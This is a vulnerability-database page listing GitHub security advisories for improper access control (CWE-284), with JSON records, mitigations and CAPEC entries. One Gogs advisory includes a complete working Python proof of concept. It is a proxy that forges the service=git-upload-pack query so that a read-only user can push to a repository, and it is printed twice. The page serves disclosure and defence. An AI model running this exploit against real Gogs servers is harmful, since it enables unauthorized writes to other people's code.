CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7802 vulnerabilities reference this CWE, most recent first.
GHSA-WJQH-799V-63VH
Vulnerability from github – Published: 2023-07-10 21:31 – Updated: 2024-04-04 05:54A vulnerability has been identified in Citrix Workspace app for Linux that, if exploited, may result in a malicious local user being able to gain access to the Citrix Virtual Apps and Desktops session of another user who is using the same computer from which the ICA session is launched.
{
"affected": [],
"aliases": [
"CVE-2023-24486"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-10T21:15:10Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in Citrix Workspace app for Linux that, if exploited, may result in a malicious local user being able to gain access to the Citrix Virtual Apps and Desktops session of another user who is using the same computer from which the ICA session is launched.",
"id": "GHSA-wjqh-799v-63vh",
"modified": "2024-04-04T05:54:10Z",
"published": "2023-07-10T21:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24486"
},
{
"type": "WEB",
"url": "https://support.citrix.com/article/CTX477618/citrix-workspace-app-for-linux-security-bulletin-for-cve202324486"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WJW2-7PRX-P46X
Vulnerability from github – Published: 2022-05-17 03:29 – Updated: 2022-05-17 03:29Cisco Application Policy Infrastructure Controller (APIC) devices with software before 1.0(3h) and 1.1 before 1.1(1j) and Nexus 9000 ACI Mode switches with software before 11.0(3h) and 11.1 before 11.1(1j) allow remote authenticated users to bypass intended RBAC restrictions via crafted REST requests, aka Bug ID CSCut12998.
{
"affected": [],
"aliases": [
"CVE-2016-1302"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-02-07T11:59:00Z",
"severity": "HIGH"
},
"details": "Cisco Application Policy Infrastructure Controller (APIC) devices with software before 1.0(3h) and 1.1 before 1.1(1j) and Nexus 9000 ACI Mode switches with software before 11.0(3h) and 11.1 before 11.1(1j) allow remote authenticated users to bypass intended RBAC restrictions via crafted REST requests, aka Bug ID CSCut12998.",
"id": "GHSA-wjw2-7prx-p46x",
"modified": "2022-05-17T03:29:29Z",
"published": "2022-05-17T03:29:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1302"
},
{
"type": "WEB",
"url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160203-apic"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1034925"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WM2W-XPGV-W6V4
Vulnerability from github – Published: 2024-06-06 21:30 – Updated: 2024-06-06 21:30An Improper Access Control vulnerability exists in the lunary-ai/lunary repository, affecting versions up to and including 1.2.2. The vulnerability allows unauthorized users to view any prompts in any projects by supplying a specific prompt ID to an endpoint that does not adequately verify the ownership of the prompt ID. This issue was fixed in version 1.2.25.
{
"affected": [],
"aliases": [
"CVE-2024-5131"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-06T19:16:05Z",
"severity": "HIGH"
},
"details": "An Improper Access Control vulnerability exists in the lunary-ai/lunary repository, affecting versions up to and including 1.2.2. The vulnerability allows unauthorized users to view any prompts in any projects by supplying a specific prompt ID to an endpoint that does not adequately verify the ownership of the prompt ID. This issue was fixed in version 1.2.25.",
"id": "GHSA-wm2w-xpgv-w6v4",
"modified": "2024-06-06T21:30:37Z",
"published": "2024-06-06T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5131"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/ddfd497afd017a6946c582a1a806687fdac888bf"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/52c129f2-114e-492f-aee8-32c78f75ac4f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WM4P-6WRW-Q6W5
Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2024-10-21 21:30Windows Remote Desktop Services Tampering Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-43456"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-08T18:15:09Z",
"severity": "MODERATE"
},
"details": "Windows Remote Desktop Services\u00a0Tampering Vulnerability",
"id": "GHSA-wm4p-6wrw-q6w5",
"modified": "2024-10-21T21:30:48Z",
"published": "2024-10-08T18:33:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43456"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43456"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WM66-6H3V-P7MR
Vulnerability from github – Published: 2022-05-24 19:07 – Updated: 2022-08-05 00:00Improper access control vulnerability in share_link in QSAN Storage Manager allows remote attackers to download arbitrary files using particular parameter in download function.
{
"affected": [],
"aliases": [
"CVE-2021-32517"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-07T14:15:00Z",
"severity": "HIGH"
},
"details": "Improper access control vulnerability in share_link in QSAN Storage Manager allows remote attackers to download arbitrary files using particular parameter in download function.",
"id": "GHSA-wm66-6h3v-p7mr",
"modified": "2022-08-05T00:00:29Z",
"published": "2022-05-24T19:07:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32517"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-4873-6f88b-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WM7G-8C9R-VG8P
Vulnerability from github – Published: 2026-05-19 06:30 – Updated: 2026-05-19 06:30The /api/v1/autotranslate.translateMessage endpoint in versions <8.5.0, <8.4.2, <8.3.4, <8.2.4, <8.1.5, <8.0.6, <7.13.8, and <7.10.12 allows any authenticated user to retrieve the full content of any message from any room (private groups, direct messages, channels) by simply providing the target message ID. The endpoint fetches the message via Messages.findOneById(messageId) with no room access check (canAccessRoomIdAsync is never called), returning the complete IMessage object including message text, sender info, room ID, timestamps, and markdown content.
{
"affected": [],
"aliases": [
"CVE-2026-32994"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-19T05:16:23Z",
"severity": "MODERATE"
},
"details": "The /api/v1/autotranslate.translateMessage endpoint in versions \u003c8.5.0, \u003c8.4.2, \u003c8.3.4, \u003c8.2.4, \u003c8.1.5, \u003c8.0.6, \u003c7.13.8, and \u003c7.10.12 allows any authenticated user to retrieve the full content of any message from any room (private groups, direct messages, channels) by simply providing the target message ID. The endpoint fetches the message via Messages.findOneById(messageId) with no room access check (canAccessRoomIdAsync is never called), returning the complete IMessage object including message text, sender info, room ID, timestamps, and markdown content.",
"id": "GHSA-wm7g-8c9r-vg8p",
"modified": "2026-05-19T06:30:29Z",
"published": "2026-05-19T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32994"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3713682"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WM7R-3QXJ-5XGQ
Vulnerability from github – Published: 2023-06-06 21:30 – Updated: 2025-02-13 18:57Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-cvm3-pp2j-chr3. This link is maintained to preserve external references.
Original Description
Grafana is an open-source platform for monitoring and observability.
The option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function.
This might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server.
Users may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.5.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.2.19"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "9.3.0"
},
{
"fixed": "9.3.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "9.4.0"
},
{
"fixed": "9.4.12"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/grafana/grafana"
},
"ranges": [
{
"events": [
{
"introduced": "9.5.0"
},
{
"fixed": "9.5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-07T15:08:20Z",
"nvd_published_at": "2023-06-06T19:15:11Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-cvm3-pp2j-chr3. This link is maintained to preserve external references.\n\n## Original Description\nGrafana is an open-source platform for monitoring and observability. \n\nThe option to send a test alert is not available from the user panel UI for users having the Viewer role. It is still possible for a user with the Viewer role to send a test alert using the API as the API does not check access to this function.\n\nThis might enable malicious users to abuse the functionality by sending multiple alert messages to e-mail and Slack, spamming users, prepare Phishing attack or block SMTP server.\n\nUsers may upgrade to version 9.5.3, 9.4.12, 9.3.15, 9.2.19 and 8.5.26 to receive a fix.",
"id": "GHSA-wm7r-3qxj-5xgq",
"modified": "2025-02-13T18:57:03Z",
"published": "2023-06-06T21:30:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grafana/bugbounty/security/advisories/GHSA-cvm3-pp2j-chr3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2183"
},
{
"type": "PACKAGE",
"url": "https://github.com/grafana/grafana"
},
{
"type": "WEB",
"url": "https://grafana.com/security/security-advisories/cve-2023-2183"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230706-0002"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Grafana Improper Access Control vulnerability",
"withdrawn": "2023-06-09T22:54:42Z"
}
GHSA-WMC3-V77M-VPGQ
Vulnerability from github – Published: 2022-05-14 03:30 – Updated: 2022-05-14 03:30In all Qualcomm products with Android releases from CAF using the Linux kernel, the UE can send IMEI or IMEISV to the network on a network request before NAS security has been activated.
{
"affected": [],
"aliases": [
"CVE-2015-9064"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-08-18T18:29:00Z",
"severity": "CRITICAL"
},
"details": "In all Qualcomm products with Android releases from CAF using the Linux kernel, the UE can send IMEI or IMEISV to the network on a network request before NAS security has been activated.",
"id": "GHSA-wmc3-v77m-vpgq",
"modified": "2022-05-14T03:30:45Z",
"published": "2022-05-14T03:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-9064"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2017-07-01"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-04-01"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/103671"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WMFG-5P4H-5FW3
Vulnerability from github – Published: 2026-06-23 17:03 – Updated: 2026-06-23 17:03Summary
Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed.
Details
Gogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: upload-pack for fetch (read) and receive-pack for push (write).
In the affected implementation, the code derives the access mode from the service query parameter (for example, service=git-upload-pack) instead of the actual RPC path being executed. As a result, a request sent to the receive-pack endpoint can be incorrectly treated as a read operation if the query parameter claims it is an upload-pack. This behavior enables a request to POST to the write endpoint (/repo.git/git-receive-pack) while including a query string that indicates a read service.
Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it.
One edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a AuthUser property becoming nil in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit.
The two situations in which this is vulnerable are:
* Attacker = collaborator with only Read rights & victim = owner of the repository
* Instance using REQUIRE_SIGNIN_VIEW = true. Attacker = any signed in user & victim = any user with a public repository
PoC
- Create a Gogs instance (eg. http://localhost:3000) with 2 users:
victim&attacker - As the victim, create a new private repository and add the attacker as a Read collaborator:
- As the attacker, execute the following Python script (editing global vars as required):
from __future__ import annotations
import os
import shutil
import subprocess
import sys
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import quote, urlsplit, urlunsplit
import requests
REPO_URL = "http://localhost:3000/victim/target"
USERNAME = "attacker"
PASSWORD = "attacker"
class ProxyHandler(BaseHTTPRequestHandler):
upstream_scheme: str
upstream_netloc: str
log_rewrite: bool
def log_message(self, *_args) -> None:
return
def do_GET(self) -> None:
self._relay("GET")
def do_POST(self) -> None:
self._relay("POST")
def _relay(self, method: str) -> None:
raw = self.path
if raw.startswith("http://") or raw.startswith("https://"):
u = urlsplit(raw)
scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query
else:
u = urlsplit(raw)
scheme, netloc, path, query = (
self.upstream_scheme,
self.upstream_netloc,
u.path,
u.query,
)
q = query or ""
if path.endswith("/git-receive-pack") and "service=" not in q:
query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack"
if self.log_rewrite:
sys.stderr.write(
f"[poc] rewrite receive-pack -> {path}?{query}\n")
url = urlunsplit((scheme, netloc, path, query, ""))
length = self.headers.get("Content-Length")
body = self.rfile.read(int(length)) if length else None
skip = {
"host",
"connection",
"proxy-connection",
"content-length",
"transfer-encoding",
}
out_headers = {}
for k, v in self.headers.items():
if k.lower() in skip:
continue
out_headers[k] = v
out_headers["Host"] = netloc
try:
with requests.request(
method,
url,
data=body,
headers=out_headers,
timeout=600,
stream=True,
) as resp:
resp.raw.decode_content = False
data = resp.raw.read()
status = resp.status_code
headers = resp.headers
except requests.RequestException as exc:
self.send_error(502, f"upstream: {exc}")
return
hop_by_hop = {
"transfer-encoding",
"connection",
"content-encoding",
"proxy-authenticate",
"proxy-authorization",
"te",
"trailers",
"upgrade",
}
self.send_response(status)
for k, v in headers.items():
if k.lower() in hop_by_hop:
continue
self.send_header(k, v)
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
def _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -> None:
r = subprocess.run(["git", *args], cwd=cwd, env=env,
capture_output=True, text=True)
if r.returncode != 0:
sys.stderr.write(r.stdout or "")
sys.stderr.write(r.stderr or "")
raise SystemExit(r.returncode)
def main() -> None:
base = urlsplit(REPO_URL)
repo_path = f"{base.path.rstrip('/')}.git"
auth = f"{quote(USERNAME, safe='')}:{quote(PASSWORD, safe='')}@{base.netloc}"
remote = urlunsplit((base.scheme, auth, repo_path, "", ""))
ProxyHandler.upstream_scheme = base.scheme
ProxyHandler.upstream_netloc = base.netloc
ProxyHandler.log_rewrite = True
srv = HTTPServer(("127.0.0.1", 0), ProxyHandler)
port = srv.server_address[1]
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
tmp = tempfile.mkdtemp(prefix="gogs-git-poc-")
try:
_run_git(tmp, "init")
_run_git(tmp, "config", "user.email", "poc@example.invalid")
_run_git(tmp, "config", "user.name", "gogs git http poc")
with open(f"{tmp}/POC_VULN.txt", "w", encoding="utf-8") as f:
f.write(
"Created by local PoC: Git HTTP path is receive-pack while "
"authorization follows forged service=git-upload-pack.\n"
)
_run_git(tmp, "add", "POC_VULN.txt")
_run_git(tmp, "commit", "-m",
"poc: unauthorized push via service query confusion")
_run_git(tmp, "branch", "-M", "poc/git-http-confusion")
_run_git(tmp, "remote", "add", "origin", remote)
env = os.environ.copy()
proxy_url = f"http://127.0.0.1:{port}"
env["http_proxy"] = proxy_url
env["HTTP_PROXY"] = proxy_url
env["https_proxy"] = proxy_url
env["HTTPS_PROXY"] = proxy_url
push = subprocess.run(
["git", "push", "-u", "origin", "poc/git-http-confusion"],
cwd=tmp,
env=env,
capture_output=True,
text=True,
)
if push.returncode != 0:
sys.stderr.write(push.stdout or "")
sys.stderr.write(push.stderr or "")
sys.exit(push.returncode)
sys.stdout.write(push.stdout or "")
sys.stderr.write(
f"\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\n"
)
finally:
srv.shutdown()
shutil.rmtree(tmp, ignore_errors=True)
if __name__ == "__main__":
main()
- Reload the repo URL and notice the attacker successfully wrote to the read-only repo:
Impact
If you can read a repository, and an anonymous user cannot, you can write to it. This affects some cases where read-only collaborator access is given, but is most impactful in instances with REQUIRE_SIGNIN_VIEW = true configured, because then all repositories will be writable to any user.
Using force push this can also affect availability, as the original code in the main branch, for example, can be overridden without leaving history.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52810"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T17:03:41Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nGit smart HTTP authorizes `POST \u2026/git-receive-pack` using the client-supplied service query string (so `?service=git-upload-pack` is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed.\n\n### Details\n\nGogs\u0027 Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: `upload-pack` for fetch (read) and `receive-pack` for push (write).\n\nIn the affected implementation, the code derives the access mode from the `service` query parameter (for example, `service=git-upload-pack`) instead of the actual RPC path being executed. As a result, a request sent to the `receive-pack` endpoint can be incorrectly treated as a read operation if the query parameter claims it is an `upload-pack`. This behavior enables a request to POST to the write endpoint (`/repo.git/git-receive-pack`) while including a query string that indicates a read service.\n\nRoute dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it.\n\nOne edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a `AuthUser` property becoming `nil` in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit.\n\nThe two situations in which this is vulnerable are:\n* Attacker = collaborator with only Read rights \u0026 victim = owner of the repository\n* Instance using `REQUIRE_SIGNIN_VIEW = true`. Attacker = any signed in user \u0026 victim = any user with a public repository\n\n### PoC\n\n1. Create a Gogs instance (eg. http://localhost:3000) with 2 users: `victim` \u0026 `attacker`\n2. As the victim, create a new private repository and add the attacker as a Read collaborator:\n\n\u003cimg width=\"1029\" height=\"387\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1f6b7f72-eaab-4970-bf65-221f1cebbbfa\" /\u003e\n\n3. As the attacker, execute the following Python script (editing global vars as required):\n\n```py\nfrom __future__ import annotations\n\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import quote, urlsplit, urlunsplit\n\nimport requests\n\nREPO_URL = \"http://localhost:3000/victim/target\"\nUSERNAME = \"attacker\"\nPASSWORD = \"attacker\"\n\nclass ProxyHandler(BaseHTTPRequestHandler):\n upstream_scheme: str\n upstream_netloc: str\n log_rewrite: bool\n\n def log_message(self, *_args) -\u003e None:\n return\n\n def do_GET(self) -\u003e None:\n self._relay(\"GET\")\n\n def do_POST(self) -\u003e None:\n self._relay(\"POST\")\n\n def _relay(self, method: str) -\u003e None:\n raw = self.path\n if raw.startswith(\"http://\") or raw.startswith(\"https://\"):\n u = urlsplit(raw)\n scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query\n else:\n u = urlsplit(raw)\n scheme, netloc, path, query = (\n self.upstream_scheme,\n self.upstream_netloc,\n u.path,\n u.query,\n )\n\n q = query or \"\"\n if path.endswith(\"/git-receive-pack\") and \"service=\" not in q:\n query = f\"{q}\u0026service=git-upload-pack\" if q else \"service=git-upload-pack\"\n if self.log_rewrite:\n sys.stderr.write(\n f\"[poc] rewrite receive-pack -\u003e {path}?{query}\\n\")\n\n url = urlunsplit((scheme, netloc, path, query, \"\"))\n length = self.headers.get(\"Content-Length\")\n body = self.rfile.read(int(length)) if length else None\n\n skip = {\n \"host\",\n \"connection\",\n \"proxy-connection\",\n \"content-length\",\n \"transfer-encoding\",\n }\n out_headers = {}\n for k, v in self.headers.items():\n if k.lower() in skip:\n continue\n out_headers[k] = v\n out_headers[\"Host\"] = netloc\n\n try:\n with requests.request(\n method,\n url,\n data=body,\n headers=out_headers,\n timeout=600,\n stream=True,\n ) as resp:\n resp.raw.decode_content = False\n data = resp.raw.read()\n status = resp.status_code\n headers = resp.headers\n except requests.RequestException as exc:\n self.send_error(502, f\"upstream: {exc}\")\n return\n\n hop_by_hop = {\n \"transfer-encoding\",\n \"connection\",\n \"content-encoding\",\n \"proxy-authenticate\",\n \"proxy-authorization\",\n \"te\",\n \"trailers\",\n \"upgrade\",\n }\n self.send_response(status)\n for k, v in headers.items():\n if k.lower() in hop_by_hop:\n continue\n self.send_header(k, v)\n self.send_header(\"Content-Length\", str(len(data)))\n self.end_headers()\n self.wfile.write(data)\n\ndef _run_git(cwd: str, *args: str, env: dict[str, str] | None = None) -\u003e None:\n r = subprocess.run([\"git\", *args], cwd=cwd, env=env,\n capture_output=True, text=True)\n if r.returncode != 0:\n sys.stderr.write(r.stdout or \"\")\n sys.stderr.write(r.stderr or \"\")\n raise SystemExit(r.returncode)\n\ndef main() -\u003e None:\n base = urlsplit(REPO_URL)\n repo_path = f\"{base.path.rstrip(\u0027/\u0027)}.git\"\n auth = f\"{quote(USERNAME, safe=\u0027\u0027)}:{quote(PASSWORD, safe=\u0027\u0027)}@{base.netloc}\"\n remote = urlunsplit((base.scheme, auth, repo_path, \"\", \"\"))\n\n ProxyHandler.upstream_scheme = base.scheme\n ProxyHandler.upstream_netloc = base.netloc\n ProxyHandler.log_rewrite = True\n\n srv = HTTPServer((\"127.0.0.1\", 0), ProxyHandler)\n port = srv.server_address[1]\n t = threading.Thread(target=srv.serve_forever, daemon=True)\n t.start()\n\n tmp = tempfile.mkdtemp(prefix=\"gogs-git-poc-\")\n try:\n _run_git(tmp, \"init\")\n _run_git(tmp, \"config\", \"user.email\", \"poc@example.invalid\")\n _run_git(tmp, \"config\", \"user.name\", \"gogs git http poc\")\n with open(f\"{tmp}/POC_VULN.txt\", \"w\", encoding=\"utf-8\") as f:\n f.write(\n \"Created by local PoC: Git HTTP path is receive-pack while \"\n \"authorization follows forged service=git-upload-pack.\\n\"\n )\n _run_git(tmp, \"add\", \"POC_VULN.txt\")\n _run_git(tmp, \"commit\", \"-m\",\n \"poc: unauthorized push via service query confusion\")\n _run_git(tmp, \"branch\", \"-M\", \"poc/git-http-confusion\")\n _run_git(tmp, \"remote\", \"add\", \"origin\", remote)\n\n env = os.environ.copy()\n proxy_url = f\"http://127.0.0.1:{port}\"\n env[\"http_proxy\"] = proxy_url\n env[\"HTTP_PROXY\"] = proxy_url\n env[\"https_proxy\"] = proxy_url\n env[\"HTTPS_PROXY\"] = proxy_url\n\n push = subprocess.run(\n [\"git\", \"push\", \"-u\", \"origin\", \"poc/git-http-confusion\"],\n cwd=tmp,\n env=env,\n capture_output=True,\n text=True,\n )\n if push.returncode != 0:\n sys.stderr.write(push.stdout or \"\")\n sys.stderr.write(push.stderr or \"\")\n sys.exit(push.returncode)\n\n sys.stdout.write(push.stdout or \"\")\n sys.stderr.write(\n f\"\\n[poc] push succeeded. Branch poc/git-http-confusion should exist on {REPO_URL}.\\n\"\n )\n finally:\n srv.shutdown()\n shutil.rmtree(tmp, ignore_errors=True)\n\nif __name__ == \"__main__\":\n main()\n```\n\n4. Reload the repo URL and notice the attacker successfully wrote to the read-only repo:\n\n\u003cimg width=\"1038\" height=\"398\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4ada8b19-8cbd-40b0-a324-e93ed4d1c965\" /\u003e\n\n### Impact\n\nIf you can read a repository, and an anonymous user cannot, you can write to it. This affects some cases where read-only collaborator access is given, but is most impactful in instances with `REQUIRE_SIGNIN_VIEW = true` configured, because then all repositories will be writable to any user.\nUsing force push this can also affect availability, as the original code in the main branch, for example, can be overridden without leaving history.",
"id": "GHSA-wmfg-5p4h-5fw3",
"modified": "2026-06-23T17:03:41Z",
"published": "2026-06-23T17:03:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-wmfg-5p4h-5fw3"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8331"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/7c9cf53aca957959bcd98b0cc987d9901b7cb184"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion"
}
GHSA-WMGF-9M3J-MPMJ
Vulnerability from github – Published: 2024-02-15 15:30 – Updated: 2024-02-15 15:30DELL ESI (Enterprise Storage Integrator) for SAP LAMA, version 10.0, contains an improper access control vulnerability in EHAC component. A remote unauthenticated attacker could potentially exploit this vulnerability to gain unrestricted access to the SOAP APIs.
{
"affected": [],
"aliases": [
"CVE-2023-39244"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-15T13:15:45Z",
"severity": "HIGH"
},
"details": "\nDELL ESI (Enterprise Storage Integrator) for SAP LAMA, version 10.0, contains an improper access control vulnerability in EHAC component. A remote unauthenticated attacker could potentially exploit this vulnerability to gain unrestricted access to the SOAP APIs.\n\n",
"id": "GHSA-wmgf-9m3j-mpmj",
"modified": "2024-02-15T15:30:26Z",
"published": "2024-02-15T15:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39244"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000216654/dsa-2023-299-security-update-for-dell-esi-enterprise-storage-integrator-for-sap-lama-multiple-security-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
